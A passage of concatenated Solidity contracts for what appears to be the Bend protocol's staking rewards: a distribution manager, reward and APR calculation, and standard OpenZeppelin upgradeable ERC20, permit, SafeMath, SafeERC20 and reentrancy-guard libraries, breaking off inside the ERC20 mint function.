function claimableRewards(address staker)
external
view
override
returns (uint256)
{
DistributionTypes.UserStakeInput[]
memory userStakeInputs = new DistributionTypes.UserStakeInput[](1);
userStakeInputs[0] = DistributionTypes.UserStakeInput({
underlyingAsset: address(this),
stakedByUser: balanceOf(staker),
totalStaked: totalSupply()
});
return
stakerRewardsToClaim[staker].add(
_getUnclaimedRewards(staker, userStakeInputs)
);
}
function apr() external view returns (uint256) {
if (totalSupply() == 0) {
return 0;
}
uint256 _bendAmount = IERC20Upgradeable(rewardToken).balanceOf(
stakedToken
);
uint256 _stakedVaueInBend = ((2 * _bendAmount) * totalSupply()) /
IERC20Upgradeable(stakedToken).totalSupply();
uint256 _oneYearBendEmission = assets[address(this)].emissionPerSecond *
31536000;
return (_oneYearBendEmission * 10**PRECISION) / _stakedVaueInBend;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import {ERC20PermitUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol";
contract ERC20Detailed is ERC20PermitUpgradeable {
uint8 private __decimals;
function __ERC20Detailed_init(
string memory _name,
string memory _symbol,
uint8 _decimals
) internal initializer {
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
__decimals = _decimals;
}
/**
* @return the decimals of the token
**/
function decimals() public view virtual override returns (uint8) {
return __decimals;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
pragma abicoder v2;
library DistributionTypes {
struct AssetConfigInput {
uint128 emissionPerSecond;
uint256 totalStaked;
address underlyingAsset;
}
struct UserStakeInput {
address underlyingAsset;
uint256 stakedByUser;
uint256 totalStaked;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
pragma abicoder v2;
import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol";
import {DistributionTypes} from "./DistributionTypes.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
// import "hardhat/console.sol";
/**
* @title DistributionManager
* @notice Accounting contract to manage multiple staking distributions
* @author Bend
**/
contract DistributionManager is Initializable, OwnableUpgradeable {
using SafeMath for uint256;
struct AssetData {
uint128 emissionPerSecond;
uint128 lastUpdateTimestamp;
uint256 index;
mapping(address => uint256) users;
}
uint256 public DISTRIBUTION_END;
uint8 public constant PRECISION = 18;
mapping(address => AssetData) public assets;
event AssetConfigUpdated(
address indexed _asset,
uint256 _emissionPerSecond
);
event AssetIndexUpdated(address indexed _asset, uint256 _index);
event DistributionEndUpdated(uint256 newDistributionEnd);
event UserIndexUpdated(
address indexed user,
address indexed asset,
uint256 index
);
function __DistributionManager_init(uint256 _distributionDuration)
internal
initializer
{
__Ownable_init();
DISTRIBUTION_END = block.timestamp.add(_distributionDuration);
}
function setDistributionEnd(uint256 _distributionEnd) external onlyOwner {
DISTRIBUTION_END = _distributionEnd;
emit DistributionEndUpdated(_distributionEnd);
}
function _configureAssets(
DistributionTypes.AssetConfigInput[] memory _assetsConfigInput
) internal onlyOwner {
for (uint256 i = 0; i < _assetsConfigInput.length; i++) {
AssetData storage assetConfig = assets[
_assetsConfigInput[i].underlyingAsset
];
_updateAssetStateInternal(
_assetsConfigInput[i].underlyingAsset,
assetConfig,
_assetsConfigInput[i].totalStaked
);
assetConfig.emissionPerSecond = _assetsConfigInput[i]
.emissionPerSecond;
emit AssetConfigUpdated(
_assetsConfigInput[i].underlyingAsset,
_assetsConfigInput[i].emissionPerSecond
);
}
}
/**
* @dev Updates the state of one distribution, mainly rewards index and timestamp
* @param _underlyingAsset The address used as key in the distribution, for example sBEND or the aTokens addresses on Bend
* @param _assetConfig Storage pointer to the distribution's config
* @param _totalStaked Current total of staked assets for this distribution
* @return The new distribution index
**/
function _updateAssetStateInternal(
address _underlyingAsset,
AssetData storage _assetConfig,
uint256 _totalStaked
) internal returns (uint256) {
uint256 oldIndex = _assetConfig.index;
uint128 lastUpdateTimestamp = _assetConfig.lastUpdateTimestamp;
if (block.timestamp == lastUpdateTimestamp) {
return oldIndex;
}
uint256 newIndex = _getAssetIndex(
oldIndex,
_assetConfig.emissionPerSecond,
lastUpdateTimestamp,
_totalStaked
);
if (newIndex != oldIndex) {
_assetConfig.index = newIndex;
emit AssetIndexUpdated(_underlyingAsset, newIndex);
}
_assetConfig.lastUpdateTimestamp = uint128(block.timestamp);
return newIndex;
}
/**
* @dev Updates the state of an user in a distribution
* @param _user The user's address
* @param _asset The address of the reference asset of the distribution
* @param _stakedByUser Amount of tokens staked by the user in the distribution at the moment
* @param _totalStaked Total tokens staked in the distribution
* @return The accrued rewards for the user until the moment
**/
function _updateUserAssetInternal(
address _user,
address _asset,
uint256 _stakedByUser,
uint256 _totalStaked
) internal returns (uint256) {
AssetData storage assetData = assets[_asset];
uint256 userIndex = assetData.users[_user];
uint256 accruedRewards = 0;
uint256 newIndex = _updateAssetStateInternal(
_asset,
assetData,
_totalStaked
);
if (userIndex != newIndex) {
if (_stakedByUser != 0) {
accruedRewards = _getRewards(
_stakedByUser,
newIndex,
userIndex
);
}
assetData.users[_user] = newIndex;
emit UserIndexUpdated(_user, _asset, newIndex);
}
return accruedRewards;
}
/**
* @dev Used by "frontend" stake contracts to update the data of an user when claiming rewards from there
* @param _user The address of the user
* @param _stakes List of structs of the user data related with his stake
* @return The accrued rewards for the user until the moment
**/
function _claimRewards(
address _user,
DistributionTypes.UserStakeInput[] memory _stakes
) internal returns (uint256) {
uint256 accruedRewards = 0;
for (uint256 i = 0; i < _stakes.length; i++) {
accruedRewards = accruedRewards.add(
_updateUserAssetInternal(
_user,
_stakes[i].underlyingAsset,
_stakes[i].stakedByUser,
_stakes[i].totalStaked
)
);
}
return accruedRewards;
}
/**
* @dev Return the accrued rewards for an user over a list of distribution
* @param _user The address of the user
* @param _stakes List of structs of the user data related with his stake
* @return The accrued rewards for the user until the moment
**/
function _getUnclaimedRewards(
address _user,
DistributionTypes.UserStakeInput[] memory _stakes
) internal view returns (uint256) {
uint256 accruedRewards = 0;
for (uint256 i = 0; i < _stakes.length; i++) {
AssetData storage assetConfig = assets[_stakes[i].underlyingAsset];
uint256 assetIndex = _getAssetIndex(
assetConfig.index,
assetConfig.emissionPerSecond,
assetConfig.lastUpdateTimestamp,
_stakes[i].totalStaked
);
accruedRewards = accruedRewards.add(
_getRewards(
_stakes[i].stakedByUser,
assetIndex,
assetConfig.users[_user]
)
);
}
return accruedRewards;
}
/**
* @dev Internal function for the calculation of user's rewards on a distribution
* @param _principalUserBalance Amount staked by the user on a distribution
* @param _reserveIndex Current index of the distribution
* @param _userIndex Index stored for the user, representation his staking moment
* @return The rewards
**/
function _getRewards(
uint256 _principalUserBalance,
uint256 _reserveIndex,
uint256 _userIndex
) internal pure returns (uint256) {
return
_principalUserBalance.mul(_reserveIndex.sub(_userIndex)).div(
10**uint256(PRECISION)
);
}
/**
* @dev Calculates the next value of an specific distribution index, with validations
* @param _currentIndex Current index of the distribution
* @param _emissionPerSecond Representing the total rewards distributed per second per asset unit, on the distribution
* @param _lastUpdateTimestamp Last moment this distribution was updated
* @param _totalBalance of tokens considered for the distribution
* @return The new index.
**/
function _getAssetIndex(
uint256 _currentIndex,
uint256 _emissionPerSecond,
uint128 _lastUpdateTimestamp,
uint256 _totalBalance
) internal view returns (uint256) {
if (
_emissionPerSecond == 0 ||
_totalBalance == 0 ||
_lastUpdateTimestamp == block.timestamp ||
_lastUpdateTimestamp >= DISTRIBUTION_END
) {
return _currentIndex;
}
uint256 currentTimestamp = block.timestamp > DISTRIBUTION_END
? DISTRIBUTION_END
: block.timestamp;
uint256 timeDelta = currentTimestamp.sub(_lastUpdateTimestamp);
return
_emissionPerSecond
.mul(timeDelta)
.mul(10**uint256(PRECISION))
.div(_totalBalance)
.add(_currentIndex);
}
/**
* @dev Returns the data of an user on a distribution
* @param _user Address of the user
* @param _asset The address of the reference asset of the distribution
* @return The new index
**/
function getUserAssetData(address _user, address _asset)
public
view
returns (uint256)
{
return assets[_asset].users[_user];
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
interface IStaked {
event Staked(address indexed user, uint256 amount);
event Redeem(address indexed user, uint256 amount);
event RewardsAccrued(address user, uint256 amount);
event RewardsClaimed(address indexed user, uint256 amount);
function configure(uint128 emissionPerSecond) external;
function stake(uint256 amount) external;
function redeem(uint256 amount) external;
function claim(uint256 amount) external;
function claimableRewards(address staker) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-IERC20PermitUpgradeable.sol";
import "../ERC20Upgradeable.sol";
import "../../../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../utils/CountersUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20PermitUpgradeable {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
